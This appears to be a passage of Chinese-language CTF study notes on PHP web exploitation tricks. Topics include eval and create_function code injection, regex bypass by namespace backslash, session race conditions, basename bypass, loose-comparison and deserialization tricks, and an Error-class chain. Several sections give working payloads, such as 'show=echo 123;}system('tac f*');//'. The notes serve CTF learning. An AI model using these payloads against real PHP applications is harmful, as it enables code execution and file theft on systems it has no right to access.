echo "$v1$v3$v2 = ".$code;

如果我们直接:

1
eval("return 1;phpinfo();");

会发现无法执行phpinfo();

但是php中数字可以与命令进行一些运算

例如1-phpinfo();是可以执行phpinfo();命令的

同理,在三变量中,1-phpinfo()-1也是可以执行phpinfo()

只需令v1=v2=1v3=-phpinfo()-即可

将v3改变成任意命令都可以

同理,不只是加减,乘除也是能够构造出phpinfo()的:

1*phpinfo()*1也能够构造出

另外一个方法就是利用三目运算符:

eval("return 1?phpinfo():1");

还可以利用:

eval("return 1==phpinfo()||1");

create_function命令注入

1
2
3
4
5
6
7
8
9
10
highlight_file(__FILE__);

if(isset($_POST['ctf'])){
$ctfshow = $_POST['ctf'];
if(!preg_match('/^[a-z0-9_]*$/isD',$ctfshow)) {
$ctfshow('',$_GET['show']);
}

}

这里的$ctfshow('', $_GET['show']);就是关键点

可以利用create_function()来处理,因为create_function是需要传递两个参数的:

1
2
3
4
5
6
7
8
9
10
11
12
13
create_function('$a', 'echo $a."123"');
/*
相当于:
function f($a){
echo $a."123";
}

合理利用类似sql注入的内容,就相当于:
function f($a){
echo $a."123";}anycommand;//
}
闭合大括号并且注释掉后面的大括号,造成命令注入
*/
1
2
'/^[a-z0-9_]*$/isD'
该正则表达式的匹配,可以利用fuzz测试得到"\\"(反斜杠)

具体的原理可以参考Code Breaking 挑战赛 Writeup (seebug.org)

大概是在PHP的命名空间默认为\,所有的函数和类都在\这个命名空间中,如果直接写函数名function_name()调用,调用的时候其实相当于写了一个相对路径;而如果写\function_name() 这样调用函数,则其实是写了一个绝对路径。如果你在其他namespace里调用系统类,就必须写绝对路径这种写法。

利用:

1
2
get: show=echo 123;}system('tac f*');//
POST: ctfshow=%5ccreate_function

文件竞争/条件竞争

常见于利用session的文件包含

利用post过去的session会上传到tmp/sess_sessid文件里,包含并且执行里面的命令,但是又会因为会立马被删除,所以需要进行一个包含与删除之间的竞争

basename

php中basename的用法:

1
basename(path, suffix)

path:必需。规定要检查的路径

suffix:可选。规定文件拓展名。如果文件有改suffix,则不会输出这个拓展名

例如:

1
2
3
4
5
6
<?php
$file = "/phpstudy/WWW/index.php";
echo basename($file);
echo basename($file,'.php');
//输出index.php
//输出index

绕过方式:

1
2
3
4
5
6
<?php
for($i=0;$i<255;$i++){
if(basename("test/".chr(i))==='test'){
echo '%'.dechex($i)."\n";
}
}

也就是说test.php/%88 => test.php

取地址问题

有的时候需要你输入的一个字符串与随机生成的一个字符串相等时,如果发现爆破十分困难,不妨试试让他们的地址相等:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
class A{
public $secret;
public $key;
public function __wakeup(){
$characters = 'abcdefghijklmnopqrstuvwxyz0123456789';
$randomString = substr(str_shuffle($characters),0,6);
$this->secret = $randomString;
if($this->key === $this->secret){
echo "You Win";
}
else{
echo "NONONO";
}
}
}
unserialize($_GET["1"]);

这里能够碰撞相等的概率非常之低,我们可以利用&

1
2
3
$a = new A;
$a->key = &$a->secret;
echo serialize($a);

这样就能使它们两个相等了

数组弱比较

最近看到的trick,来看看它的破解方法:

1
2
3
4
5
6
7
8
<?php
highlight_file(__FILE__);
$c = array('C', 'T', 'F', 'E', 'R');
$d = $_POST['d'];
if($c == $d && $c !== $d){
echo "You Win";
echo file_get_contents('/flag');
}

这里利用数组弱相等特性:(我也是第一次知道)

构造的顺序反过来即可:

1
d[1]=T&d[0]=C&d[2]=F&d[3]=E&d[4]=R

经过测试,可以任意打乱其数组构造的顺序,但是必须保证:

1
2
3
4
5
d[0]一定是C
d[1]一定是T
d[2]一定是F
d[3]一定是E
d[4]一定是R

由此还能构造很多的payload,例如:

1
d[1]=T&d[2]=F&d[0]=C&d[3]=E&d[4]=R

array_search

array_search()函数的语法如下:

1
array_search($needle, $haystack, $strict)

其中,$needle表示要查找的值,$haystack表示要搜索的数组,$strict表示是否使用严格比较(可选参数,默认为false)。

严格比较就是默认为==型比较:

1
2
3
4
5
6
7
8
9
10
11
if (is_array($arr4y)) {
for ($i = 0; $i < count($arr4y); $i++) {
if ($arr4y[$i] === "NSS") {
die("no!");
}
$arr4y[$i] = intval($arr4y[$i]);
}
if (array_search("NSS", $arr4y) === 0) {
$checker_4 = TRUE;
}
}

利用:

1
arr4y[]=NSS0

intval后arr4y[0]变成了0

0弱比较NSS为true,返回第一个元素下标0

PHP8匿名类

匿名类可以创建一次性的简单对象:

1
2
3
$obj=new class{};
// class名为: 'class@anonymous'+%00+php文件路径+行数$列数
echo get_class($obj);

类名和行数、列数有关,所以实际情况直接复制php源码到在线运行网站跑一遍具体分析即可

因此,同一个位置出来的类称为同一个类。这个变量不受unset的影响,仍可直接通过类名直接调用:

如上图,由于$a在第二行,所以其get_class为:

对照一下可以得到:

1
2
class%40anonymous%00%2Fcode%2Fmain.php%3A2%240
class@anonymous%00/code/main.php:2$0

即使变量被删除了也可以调用(变量的%00在php里的话要改成\x00)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php
$a = new class{
public function __construct(){}
public function getflag(){
system("ls");
}
};
echo urlencode(get_class($a));
unset($a);

$b = "class@anonymous\x00/code/main.php:2$0";

$f = new $b();
$f->getflag();


?>

stdClass内置类的妙用

来自Aecous师傅的文章,膜!

php反序列化小记(1)里提及了这个trick

当没有能够获取到反序列化类的对象时,就可以利用stdClass

例如:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<?php
highlight_file(__FILE__);
class A{
public $a;
public $b;
public function __construct(){}
}

class B{
public $c;
public $invoker;
public function __construct(){
if($this->invoker->a != "Example1" or $this->invoker->c != "Example2"){
return false;
}
else{
//我们想要触发的恶意方法
}
}
}

?>

可以发现invoker后面的a只存在于A类,c只存在于B类,只能够指定一个invoker,乍看下不可能达成

但是实际上可以通过stdClass

1
2
3
4
5
6
$d = new stdClass;
$d->a = "Example1";
$d->c = "Example2";
$b = new B;
$b->invoker = $d;
echo serialize($b);

__unserialize魔术方法

比较抽象,在php7.4以上时与wakeup在一起的话会忽略wakeup触发__unserialize

但是重点不是这个,重点是要想触发时,之前预设好的变量必须置为空

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
//...其他类
class E {
public $name = "xxxxx";
public $num;

public function __unserialize($data)
{
echo "<br>学到就是赚到!<br>";
echo $data['num'];
}
public function __wakeup(){
if($this->name!='' || $this->num!=''){
echo "旅行者别忘记旅行的意义!<br>";
}
}
}


$e -> name = null;
$e -> num = $d;
echo serialize($e);

Error报错的妙用

某题

1
((new $a($aa))->$c())((new $b($bb))->$c());

利用方式:new Error(xxx)->getMessage()

这样能够带出xxx

payload:

1
2
3
4
5
$a = Error
$aa = system
$c = getMessage
$b = Error
$bb = cat /f*